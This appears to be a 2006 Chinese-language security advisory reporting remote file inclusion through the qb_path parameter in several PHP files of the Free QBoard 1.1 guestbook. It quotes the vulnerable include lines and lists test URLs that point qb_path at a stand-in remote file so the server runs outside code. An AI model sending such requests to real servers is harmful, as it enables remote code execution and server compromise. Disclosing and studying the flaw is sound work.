发布日期：2006-07-03
更新日期：2006-07-04

受影响系统：

free QBoard free QBoard 1.1

描述：

---

BUGTRAQ  ID: 18788

Free Qboard是高级的开放源码留言簿服务。

Free Qboard的多个模块中存在远程文件包含漏洞，远程攻击者可能利用此漏洞在服务器上执行任意命令。

具体漏洞代码如下：

----------------------
1- index.php
include $qb_path."incs/mysql.php";
include $qb_path."incs/crypt.php";
----------------------------------
2- about.php
include $qb_path."incs/header.php";
----------------------------------
3- contact.php
include $qb_path."incs/header.php";
----------------------------------
4- delete.php
include $qb_path."incs/mysql.php";
include $qb_path."incs/crypt.php";
----------------------------------
5- faq.php
include $qb_path."incs/header.php";
----------------------------------
6- features.php
include $qb_path."incs/header.php";
----------------------------------
7- history.php
include $qb_path."incs/mysql.php";
include $qb_path."incs/crypt.php";
----------
$qb_path parameter File inclusion

<*来源：CrAsh_oVeR_rIdE （KARKOR23@hotmail.com）
  
  链接：http://marc.theaimsgroup.com/?l=bugtraq&m=115194911001823&w=2
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

www.example.com/(path)/index.php?qb_path=http://evilcode.txt?
www.example.com/(path)/about.php?qb_path=http://evilcode.txt?
www.example.com/(path)/contact.php?qb_path=http://evilcode.txt?
www.example.com/(path)/delete.php?qb_path=http://evilcode.txt?
www.example.com/(path)/faq.php?qb_path=http://evilcode.txt?
www.example.com/(path)/features.php?qb_path=http://evilcode.txt?
www.example.com/(path)/history.php?qb_path=http://evilcode.txt?

建议：

---

厂商补丁：

free QBoard
-----------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://sourceforge.net/projects/freeqboard/

浏览次数：2589
严重程度：0（网友投票）